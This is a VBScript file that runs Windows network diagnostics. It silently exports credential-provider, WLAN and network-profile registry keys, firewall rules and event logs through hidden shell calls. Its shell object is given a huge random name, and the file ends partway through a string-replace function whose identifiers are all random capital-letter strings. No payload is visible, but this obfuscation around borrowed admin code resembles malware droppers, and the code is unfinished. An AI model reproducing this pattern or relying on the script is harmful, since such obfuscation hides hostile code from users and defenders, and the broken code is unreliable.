'Comments: Function to dump a tree under a registry path into a file
Sub DumpRegKey(outputFileName,regpath)
On Error Resume Next
Dim cmd
Set DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c reg export " & regpath & " " & outputFileName & " /y"
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
End Sub
Sub DumpAllKeys
On Error Resume Next
Dim NotifRegFile, RegFolder, Key
RegFolder = "Reg"
if Not FSO.FolderExists(RegFolder) Then
FSO.CreateFolder RegFolder
End If
' Dump WLAN registry keys
AllCredRegFile = RegFolder + "\AllCred.reg.txt"
AllCredFilterFile = RegFolder + "\AllCredFilter.reg.txt"
CredRegFileA = RegFolder + "\{07AA0886-CC8D-4e19-A410-1C75AF686E62}.reg.txt"
CredRegFileB = RegFolder + "\{33c86cd6-705f-4ba1-9adb-67070b837775}.reg.txt"
CredRegFileC = RegFolder + "\{edd749de-2ef1-4a80-98d1-81f20e6df58e}.reg.txt"
APIPermRegFile = RegFolder + "\APIPerm.reg.txt"
NotifRegFile = RegFolder + "\Notif.reg.txt"
GPTRegFile = RegFolder + "\GPT.reg.txt"
CUWlanSvcRegFile = RegFolder + "\HKCUWlanSvc.reg.txt"
LMWlanSvcRegFile = RegFolder + "\HKLMWlanSvc.reg.txt"
NidRegFile = RegFolder + "\NetworkProfiles.reg.txt"
call DumpRegKey(NotifRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Control\Winlogon\Notifications""")
call DumpRegKey(AllCredRegFile ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers""")
call DumpRegKey(AllCredFilterFile,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters""")
call DumpRegKey(CredRegFileA ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{07AA0886-CC8D-4e19-A410-1C75AF686E62}""")
call DumpRegKey(CredRegFileB ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{33c86cd6-705f-4ba1-9adb-67070b837775}""")
call DumpRegKey(CredRegFileC ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\{edd749de-2ef1-4a80-98d1-81f20e6df58e}""")
call DumpRegKey(APIPermRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Services\Wlansvc\Parameters\WlanAPIPermissions""")
call DumpRegKey(GPTRegFile , """HKLM\SOFTWARE\Policies\Microsoft\Windows\Wireless\GPTWirelessPolicy""")
call DumpRegKey(CUWlanSvcRegFile ,"""HKCU\SOFTWARE\Microsoft\Wlansvc""")
call DumpRegKey(LMWlanSvcRegFile ,"""HKLM\SOFTWARE\Microsoft\Wlansvc""")
' Dump Dot3 registry keys
LMDot3SvcRegFile = RegFolder + "\HKLMDot3Svc.reg.txt"
CUDot3SvcRegFile = RegFolder + "\HKCUDot3Svc.reg.txt"
LGPPolicyFile = RegFolder + "\L2GP.reg.txt"
call DumpRegKey(LMDot3SvcRegFile ,"""HKLM\SOFTWARE\Microsoft\dot3svc""")
call DumpRegKey(CUDot3SvcRegFile ,"""HKCU\SOFTWARE\Microsoft\dot3svc""")
call DumpRegKey(LGPPolicyFile ,"""HKLM\SOFTWARE\Policies\Microsoft\Windows\WiredL2\GP_Policy""")
call DumpRegKey(NidRegFile ,"""HKLM\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\NetworkList""")
' Dump WCM registry keys
WCMPolicyRegFile = RegFolder + "\WCMPolicy.reg.txt"
call DumpRegKey(WCMPolicyRegFile ,"""HKLM\SOFTWARE\Policies\Microsoft\WcmSvc""")
End Sub
' Dump Winsock LSP catalog
Sub DumpWinsockCatalog(outputFileName)
On Error Resume Next
Dim envInfoFile
Set DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh winsock show catalog > " & outputFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
End Sub
' Dump the Windows Firewall Configuration
Sub GetWindowsFirewallInfo(configFileName, logFileName, effectiveRulesFileName, consecLogFileName, logFileNameVerbose, consecLogFileNameVerbose)
On Error Resume Next
Dim envInfoFile
Set DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c echo Current Profiles: > " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Dump the current profiles
cmd = "cmd /c netsh advfirewall monitor show currentprofile >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo Firewall Configuration: >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
' Dump the firewall configuration
cmd = "cmd /c netsh advfirewall monitor show firewall >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo Connection Security Configuration: >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Dump the connection security configuration
cmd = "cmd /c netsh advfirewall monitor show consec >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo Firewall Rules : >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Dump the firewall rules
cmd = "cmd /c netsh advfirewall firewall show rule name=all verbose >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo Connection Security Rules : >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Dump the connection security rules
cmd = "cmd /c netsh advfirewall consec show rule name=all verbose >> " & configFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Dump the firewall rules from Dynamic Store
cmd = "cmd /c echo Firewall Rules currently enforced : > " & effectiveRulesFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c netsh advfirewall monitor show firewall rule name=all >> " & effectiveRulesFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Dump the connection security rules from Dynamic Store
cmd = "cmd /c echo Connection Security Rules currently enforced : >> " & effectiveRulesFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
cmd = "cmd /c netsh advfirewall monitor show consec rule name=all >> " & effectiveRulesFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"" " & logFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"" " & consecLogFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & consecLogFileName
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose"" " & logFileNameVerbose
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & logFileNameVerbose
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose"" " & consecLogFileNameVerbose
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & consecLogFileNameVerbose
DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run cmd, 0, True
End Sub
Function WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(RQXIKBWGZQFSTCVFQXUQZNYPMNVDDWQGUCSSMXHBSIMNUHKCNOKHFOEDSHWXGSDDZYYRJCSTPSYRAKVFDSPOLJAGYOAEBJUZFJNVITSKVRRNPNDHMQUNDOSQXSSUCOSFXZMRXZWKAFTTRNQLLTSKPHVQQXXQAYIHZMPQAMKMUKNYVYYKCHJIVHQQDVAZCGJBWLUFYZK, find, JFQFTXUSYNOSOZLRVYNFLKKNALBJDTLCWKYPRLWFAIBORQMWZDJZMFNZVCEHWKOEBLWEBWZKCHEDIVVJYEKAJMQRWZUPGPIPUWMGUIVDDZXEAKRZGUISANVOVEIBCKDMYOILIPOQIGXKPLQLIUILGQPGBYKQZUBSVKFMCFQQFSKUPKZKNXTIBSGIZCJKFYROFEPFFEJ)
DRGNGUQRZACCATQCDXMAVGLHBVOLUTEJNREJMSCELSLFVOOMNMCHRJGXGYMKGFWFVTOJOGQKVIODUGLMHCXIRWREKHDNGRXFVGJBZFYGVRMIUDCANZCEHOOYCKYGDDDDKJHOWJNCDQMZKIJGEDAGPTXHRKZPGRDSNIYLWODDMZAQBOOTARBACXORLZWMKXWMNULBKYK = Len(RQXIKBWGZQFSTCVFQXUQZNYPMNVDDWQGUCSSMXHBSIMNUHKCNOKHFOEDSHWXGSDDZYYRJCSTPSYRAKVFDSPOLJAGYOAEBJUZFJNVITSKVRRNPNDHMQUNDOSQXSSUCOSFXZMRXZWKAFTTRNQLLTSKPHVQQXXQAYIHZMPQAMKMUKNYVYYKCHJIVHQQDVAZCGJBWLUFYZK)
ZXUPSGFDVFOOPCPQUGZWSRSODODHCNICHLAFCYYETTQEJHWLEVGDYNYIEFMEDYAIWMHECKOVIVCYANFVSSDHGFDTNRAWMTAVSHHWARIUHKVDLZHRAQMLVSBRIORKJRJOUHGSGIVAJIAWKAINJJVWHOAZGQOLAYLPBGIDTOKSUMCMSFHIGDAAVNHFGGMPUKZKXKUDSEU = Len(find)
YDBVMNHAIFFWYKUOZCWNCVYKMRPILDQCJFBRLLTTYLGOECMMPFEPHHSDEQIUYYPFPCNSJCCNJDOQOKFJECSFYAUCNYNVDYUAVBYBPUDNDQGDSBPUKZQWFKGPILFLPHKKJOUMLDUKZFCHTRJLISKEIYULUJTEORXVGWUEHCIGFFXAIYVQBUCXWGCKTJRCKPVHIGBXWED = Len(JFQFTXUSYNOSOZLRVYNFLKKNALBJDTLCWKYPRLWFAIBORQMWZDJZMFNZVCEHWKOEBLWEBWZKCHEDIVVJYEKAJMQRWZUPGPIPUWMGUIVDDZXEAKRZGUISANVOVEIBCKDMYOILIPOQIGXKPLQLIUILGQPGBYKQZUBSVKFMCFQQFSKUPKZKNXTIBSGIZCJKFYROFEPFFEJ)
ReDim KEYCBUCWNDCUPAZZTJKXKFWPKPRCXXTWQWNSHZJZGVOGNBSIHBDNUGUEHJSLCAYQJFESNGSUZLRPQPCJXJVVTGCKBIKXGYXGWYXHWAUAJJNIOFNSHJOSFDWDCTQEWUNBOKSSSUMXPVMKSTVVVSQXJEBTCUEDJQEOWLUDNVANXRDJQMKJXUJDEQSJJYQXPINYRYNGYRI(DRGNGUQRZACCATQCDXMAVGLHBVOLUTEJNREJMSCELSLFVOOMNMCHRJGXGYMKGFWFVTOJOGQKVIODUGLMHCXIRWREKHDNGRXFVGJBZFYGVRMIUDCANZCEHOOYCKYGDDDDKJHOWJNCDQMZKIJGEDAGPTXHRKZPGRDSNIYLWODDMZAQBOOTARBACXORLZWMKXWMNULBKYK)
i = 1
j = 0
Do While i <= DRGNGUQRZACCATQCDXMAVGLHBVOLUTEJNREJMSCELSLFVOOMNMCHRJGXGYMKGFWFVTOJOGQKVIODUGLMHCXIRWREKHDNGRXFVGJBZFYGVRMIUDCANZCEHOOYCKYGDDDDKJHOWJNCDQMZKIJGEDAGPTXHRKZPGRDSNIYLWODDMZAQBOOTARBACXORLZWMKXWMNULBKYK
If Mid(RQXIKBWGZQFSTCVFQXUQZNYPMNVDDWQGUCSSMXHBSIMNUHKCNOKHFOEDSHWXGSDDZYYRJCSTPSYRAKVFDSPOLJAGYOAEBJUZFJNVITSKVRRNPNDHMQUNDOSQXSSUCOSFXZMRXZWKAFTTRNQLLTSKPHVQQXXQAYIHZMPQAMKMUKNYVYYKCHJIVHQQDVAZCGJBWLUFYZK, i, ZXUPSGFDVFOOPCPQUGZWSRSODODHCNICHLAFCYYETTQEJHWLEVGDYNYIEFMEDYAIWMHECKOVIVCYANFVSSDHGFDTNRAWMTAVSHHWARIUHKVDLZHRAQMLVSBRIORKJRJOUHGSGIVAJIAWKAINJJVWHOAZGQOLAYLPBGIDTOKSUMCMSFHIGDAAVNHFGGMPUKZKXKUDSEU) = find Then
For k = 1 To YDBVMNHAIFFWYKUOZCWNCVYKMRPILDQCJFBRLLTTYLGOECMMPFEPHHSDEQIUYYPFPCNSJCCNJDOQOKFJECSFYAUCNYNVDYUAVBYBPUDNDQGDSBPUKZQWFKGPILFLPHKKJOUMLDUKZFCHTRJLISKEIYULUJTEORXVGWUEHCIGFFXAIYVQBUCXWGCKTJRCKPVHIGBXWED
KEYCBUCWNDCUPAZZTJKXKFWPKPRCXXTWQWNSHZJZGVOGNBSIHBDNUGUEHJSLCAYQJFESNGSUZLRPQPCJXJVVTGCKBIKXGYXGWYXHWAUAJJNIOFNSHJOSFDWDCTQEWUNBOKSSSUMXPVMKSTVVVSQXJEBTCUEDJQEOWLUDNVANXRDJQMKJXUJDEQSJJYQXPINYRYNGYRI(j) = Mid(JFQFTXUSYNOSOZLRVYNFLKKNALBJDTLCWKYPRLWFAIBORQMWZDJZMFNZVCEHWKOEBLWEBWZKCHEDIVVJYEKAJMQRWZUPGPIPUWMGUIVDDZXEAKRZGUISANVOVEIBCKDMYOILIPOQIGXKPLQLIUILGQPGBYKQZUBSVKFMCFQQFSKUPKZKNXTIBSGIZCJKFYROFEPFFEJ, k, 1)
j = j + 1
Next
i = i + ZXUPSGFDVFOOPCPQUGZWSRSODODHCNICHLAFCYYETTQEJHWLEVGDYNYIEFMEDYAIWMHECKOVIVCYANFVSSDHGFDTNRAWMTAVSHHWARIUHKVDLZHRAQMLVSBRIORKJRJOUHGSGIVAJIAWKAINJJVWHOAZGQOLAYLPBGIDTOKSUMCMSFHIGDAAVNHFGGMPUKZKXKUDSEU
Else
KEYCBUCWNDCUPAZZTJKXKFWPKPRCXXTWQWNSHZJZGVOGNBSIHBDNUGUEHJSLCAYQJFESNGSUZLRPQPCJXJVVTGCKBIKXGYXGWYXHWAUAJJNIOFNSHJOSFDWDCTQEWUNBOKSSSUMXPVMKSTVVVSQXJEBTCUEDJQEOWLUDNVANXRDJQMKJXUJDEQSJJYQXPINYRYNGYRI(j) = Mid(RQXIKBWGZQFSTCVFQXUQZNYPMNVDDWQGUCSSMXHBSIMNUHKCNOKHFOEDSHWXGSDDZYYRJCSTPSYRAKVFDSPOLJAGYOAEBJUZFJNVITSKVRRNPNDHMQUNDOSQXSSUCOSFXZMRXZWKAFTTRNQLLTSKPHVQQXXQAYIHZMPQAMKMUKNYVYYKCHJIVHQQDVAZCGJBWLUFYZK, i, 1)
i = i + 1
j = j + 1
End If
Loop
SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA = ""
For i = 0 To j - 1
SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA = SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA & KEYCBUCWNDCUPAZZTJKXKFWPKPRCXXTWQWNSHZJZGVOGNBSIHBDNUGUEHJSLCAYQJFESNGSUZLRPQPCJXJVVTGCKBIKXGYXGWYXHWAUAJJNIOFNSHJOSFDWDCTQEWUNBOKSSSUMXPVMKSTVVVSQXJEBTCUEDJQEOWLUDNVANXRDJQMKJXUJDEQSJJYQXPINYRYNGYRI(i)
Next
